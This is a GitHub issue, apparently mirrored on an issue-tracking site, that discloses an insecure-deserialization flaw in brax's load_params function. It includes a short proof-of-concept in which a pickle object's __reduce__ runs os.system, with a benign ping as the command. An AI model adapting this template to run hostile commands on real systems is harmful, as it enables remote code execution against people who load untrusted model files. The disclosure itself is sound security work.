google / google/brax

Insecure Deserialization attack on pickle.loads

Open
#570 2 comments 0 reactions 0 assignees View on GitHub
Dominant language
Jupyter Notebook
Stars
3.2k
Forks
349
PR merge metrics
No merged PRs in 30d

Description

I noticed that there is a module named `load_params` that passes user input directly into pickle , which allows an attacker to execute system commands with insecure deserialization attack on the victim’s system.
# Vulnerable Function
https://github.com/google/brax/blob/69637a359463738140c1b850f61ad0088a23538b/brax/io/model.py#L22

## Exploit Code (Attacker Side):
```python
import pickle
import os

class MaliciousCode:
def __reduce__(self):
return (os.system, ("ping 'google.com'",))

with open('malicious.pkl', 'wb') as f:
pickle.dump(MaliciousCode(), f)
```

## Exploit Code (Victim Side):
```python
from brax.io import model
model.load_params("malicious.pkl")
```

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.